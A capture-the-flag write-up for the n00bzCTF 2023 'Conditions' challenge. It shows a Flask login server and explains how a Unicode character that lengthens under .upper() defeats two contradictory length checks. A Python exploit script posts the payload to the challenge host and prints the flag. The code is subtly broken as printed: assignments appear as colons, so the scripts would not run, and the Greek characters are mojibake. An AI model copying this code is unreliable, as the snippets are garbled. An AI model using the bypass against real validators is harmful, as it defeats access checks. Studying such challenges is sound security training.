n00bzCTF 2023 - Conditions
Table of Contents
Award
This writeup was awarded as “Winner of n00bzCTF2023 Best Well Written Writeup award!”
Challenge Overview
In this challenge, we were given a Python file server.py and here is its content:
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
flag: open('flag.txt').read()
app: Flask(__name__)
@app.route('/')
def main():
return redirect('/login')
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
if len(request.values["username"]) >= 40:
return render_template_string("Username is too long!")
elif len(request.values["username"].upper()) <= 50:
return render_template_string("Username is too short!")
else:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Code Analysis
The /login route of this Flask application is designed to handle both GET and POST requests. GET requests simply return the login form, while POST requests are used to process information submitted by the user through this form.
When a POST request is received, the code checks two conditions regarding the username:
-
If the length of the username is
40characters or more, the application returns an error message indicating that the username is too long. -
If the length of the username, after being converted to uppercase with
.upper(), is 50 characters or less, the application returns an error message indicating that the username is too short.
We can notice a contradiction between the conditions since it seems impossible to choose a username that satisfies both conditions, as a character string cannot be both less than 40 characters and greater than 50 characters at the same time.
Unicode Decomposition Vulnerability
But why is the user’s string converted to uppercase with upper() in the second condition?
By searching the internet for information about a potential bug that was detected in upper(), I found this link StackOverflow
To explain this, this is what is called Unicode “decomposition”: some characters can decompose into multiple other characters when they undergo certain transformations, such as conversion to uppercase. For example, the letter 'αΎ' (capital alpha with dasia and prosgegrammeni, U+1F89) decomposes into 'αΌΞ' when converted to uppercase. Thanks to the Greeks :D
In the context of this code, if you send a username that has less than 40 characters but, once converted to uppercase, has more than 50 characters, you can bypass the length checks and get the flag.
Exploitation
Exploit Script
Here is the Python code that allows exploiting the vulnerability on the host:
import requests
def main():
url: "http://challs.n00bzunit3d.xyz:42552/login"
data: {"username": "αΎ" * 39}
response: requests.post(url, data=data)
print("Flag:", response.text)
if __name__ == '__main__':
main()
How It Works
Even though the initial length of the username is 39 characters (which is less than 40 and would not trigger the "Username is too long!" error), once passed to the upper() method, the string length becomes 78 characters (which is greater than 50 and would not trigger the "Username is too short!" error).
Therefore, this script is able to bypass the length checks in the Flask application and obtains the flag.
Result
Here is the result:
python flag.py
Flag: n00bz{1mp0551bl3_c0nd1t10n5_m0r3_l1k3_p0551bl3_c0nd1t10ns}
Flag
We get the flag n00bz{1mp0551bl3_c0nd1t10n5_m0r3_l1k3_p0551bl3_c0nd1t10ns}